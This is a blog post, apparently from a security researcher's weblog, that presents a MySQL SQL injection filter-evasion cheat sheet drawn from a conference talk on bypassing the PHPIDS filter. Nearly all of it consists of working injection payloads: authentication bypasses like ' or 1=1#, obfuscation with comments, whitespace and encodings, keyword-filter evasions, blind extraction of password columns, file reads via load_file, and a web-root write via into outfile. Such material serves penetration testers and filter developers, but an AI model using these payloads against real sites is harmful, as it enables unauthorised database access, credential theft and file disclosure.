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# SQLi filter evasion cheat sheet (MySQL)

**SQLi filter evasion cheat sheet (MySQL)** - Author not stated, Reiners' Weblog.

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## SQLi filter evasion cheat sheet (MySQL)

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of [PHPIDS](http://phpids.org/) filter evasion at the CONFidence 2.0 conference. You can find the slides [here](https://websec.wordpress.com/wp-content/uploads/2010/11/sqli2.pdf). For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

## Basic filter

**Comments**
 ‘ or 1=1#
 ‘ or 1=1– –
 ‘ or 1=1/* (MySQL < 5.1)
 ' or 1=1;%00
 ' or 1=1 union select 1,2 as `
 ' or#newline
 1='1
 ' or– -newline
 1='1
 ' /*!50000or*/1='1
 ' /*!or*/1='1

**Prefixes**
 + – ~ !
 ‘ or –+2=- -!!!’2

**Operators**
 ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

**Whitespaces**
 %20 %09 %0a %0b %0c %0d %a0 /**/
 ‘or+(1)sounds/**/like“1“–%a0-
 ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

**Strings with quotes**
 SELECT ‘a’
 SELECT “a”
 SELECT n’a’
 SELECT b’1100001′
 SELECT _binary’1100001′
 SELECT x’61’

**Strings without quotes**
 ‘abc’ = 0x616263

**Aliases**
 select pass as alias from users
 select pass aliasalias from users
 select pass`alias alias`from users

**Typecasting**
 ‘ or true = ‘1 # or 1=1
 ‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
 ‘ or ‘1 # or true

**Compare operator typecasting**
 select * from users where ‘a’=’b’=’c’
 select * from users where (‘a’=’b’)=’c’
 select * from users where (false)=’c’
 select * from users where (0)=’c’
 select * from users where (0)=0
 select * from users where true
 select * from users

**Authentication bypass ‘=’**
 select * from users where name = ”=”
 select * from users where false = ”
 select * from users where 0 = 0
 select * from users where true
 select * from users

**Authentication bypass ‘-‘**
 select * from users where name = ”-”
 select * from users where name = 0-0
 select * from users where 0 = 0
 select * from users where true
 select * from users

## Function filter

**General function filtering**
 ascii (97)
 load_file/*foo*/(0x616263)

**Strings with functions**
 ‘abc’ = unhex(616263)
 ‘abc’ = char(97,98,99)
 hex(‘a’) = 61
 ascii(‘a’) = 97
 ord(‘a’) = 97
 ‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

**Strings extracted from gadgets**
 collation(\N) // binary
 collation(user()) // utf8_general_ci
 @@time_format // %H:%i:%s
 @@binlog_format // MIXED
 @@version_comment // MySQL Community Server (GPL)
 dayname(from_days(401)) // Monday
 dayname(from_days(403)) // Wednesday
 monthname(from_days(690)) // November
 monthname(from_unixtime(1)) // January
 collation(convert((1)using/**/koi8r)) // koi8r_general_ci
 (select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

**Special characters extracted from gadgets**
 aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
 des_encrypt(1,2) // ‚GÒ/ïÖk
 @@ft_boolean_syntax // + -><()~*:""&|
 @@date_format // %Y-%m-%d
 @@innodb_log_group_home_dir // .\

**Integer representations**
 false: 0
 true: 1
 true+true: 2
 floor(pi()): 3
 ceil(pi()): 4
 floor(version()): 5
 ceil(version()): 6
 ceil(pi()+pi()): 7
 floor(version()+pi()): 8
 floor(pi()*pi()): 9
 ceil(pi()*pi()): 10
 concat(true,true): 11
 ceil(pi()*pi())+true: 11
 ceil(pi()+pi()+version()): 12
 floor(pi()*pi()+pi()): 13
 ceil(pi()*pi()+pi()): 14
 ceil(pi()*pi()+version()): 15
 floor(pi()*version()): 16
 ceil(pi()*version()): 17
 ceil(pi()*version())+true: 18
 floor((pi()+pi())*pi()): 19
 ceil((pi()+pi())*pi()): 20
 ceil(ceil(pi())*version()): 21
 concat(true+true,true): 21
 ceil(pi()*ceil(pi()+pi())): 22
 ceil((pi()+ceil(pi()))*pi()): 23
 ceil(pi())*ceil(version()): 24
 floor(pi()*(version()+pi())): 25
 floor(version()*version()): 26
 ceil(version()*version()): 27
 ceil(pi()*pi()*pi()-pi()): 28
 floor(pi()*pi()*floor(pi())): 29
 ceil(pi()*pi()*floor(pi())): 30
 concat(floor(pi()),false): 30
 floor(pi()*pi()*pi()): 31
 ceil(pi()*pi()*pi()): 32
 ceil(pi()*pi()*pi())+true: 33
 ceil(pow(pi(),pi())-pi()): 34
 ceil(pi()*pi()*pi()+pi()): 35
 floor(pow(pi(),pi())): 36

@@new: 0
 @@log_bin: 1

!pi(): 0
 !!pi(): 1
 true-~true: 3
 log(-cos(pi())): 0
 -cos(pi()): 1
 coercibility(user()): 3
 coercibility(now()): 4

minute(now())
 hour(now())
 day(now())
 week(now())
 month(now())
 year(now())
 quarter(now())
 year(@@timestamp)
 crc32(true)

**Extract substrings**
 substr(‘abc’,1,1) = ‘a’
 substr(‘abc’ from 1 for 1) = ‘a’
 substring(‘abc’,1,1) = ‘a’
 substring(‘abc’ from 1 for 1) = ‘a’
 mid(‘abc’,1,1) = ‘a’
 mid(‘abc’ from 1 for 1) = ‘a’
 lpad(‘abc’,1,space(1)) = ‘a’
 rpad(‘abc’,1,space(1)) = ‘a’
 left(‘abc’,1) = ‘a’
 reverse(right(reverse(‘abc’),1)) = ‘a’
 insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
 space(0) = trim(version()from(version()))

**Search substrings**
 locate(‘a’,’abc’)
 position(‘a’,’abc’)
 position(‘a’ IN ‘abc’)
 instr(‘abc’,’a’)
 substring_index(‘ab’,’b’,1)

**Cut substrings**
 length(trim(leading ‘a’ FROM ‘abc’))
 length(replace(‘abc’, ‘a’, ”))

**Compare strings**
 strcmp(‘a’,’a’)
 mod(‘a’,’a’)
 find_in_set(‘a’,’a’)
 field(‘a’,’a’)
 count(concat(‘a’,’a’))

**String length**
 length()
 bit_length()
 char_length()
 octet_length()
 bit_count()

**String case**
 ucase
 lcase
 lower
 upper
 password(‘a’) != password(‘A’)
 old_password(‘a’) != old_password(‘A’)
 md5(‘a’) != md5(‘A’)
 sha(‘a’) != sha(‘A’)
 aes_encrypt(‘a’) != aes_encrypt(‘A’)
 des_encrypt(‘a’) != des_encrypt(‘A’)

## Keyword filter

**Connected keyword filtering**
 (0)union(select(table_name),column_name,…
 0/**/union/*!50000select*/table_name`foo`/**/…
 0%a0union%a0select%09group_concat(table_name)….
 0’union all select all`table_name`foo from`information_schema`. `tables`

**OR, AND**
 ‘||1=’1
 ‘&&1=’1
 ‘=’
 ‘-‘

**OR, AND, UNION**
 ‘ and (select pass from users limit 1)=’secret

**OR, AND, UNION, LIMIT**
 ‘ and (select pass from users where id =1)=’a

**OR, AND, UNION, LIMIT, WHERE**
 ‘ and (select pass from users group by id having id = 1)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP**
 ‘ and length((select pass from users having substr(pass,1,1)=’a’))

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING**
 ‘ and (select substr(group_concat(pass),1,1) from users)=’a
 ‘ and substr((select max(pass) from users),1,1)=’a
 ‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT**
 ‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
 ‘=” into outfile ‘/var/www/dump.txt

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE**
 ‘ procedure analyse()#
 ‘-if(name=’Admin’,1,0)#
 ‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

**Control flow**
 case ‘a’ when ‘a’ then 1 [else 0] end
 case when ‘a’=’a’ then 1 [else 0] end
 if(‘a’=’a’,1,0)
 ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.

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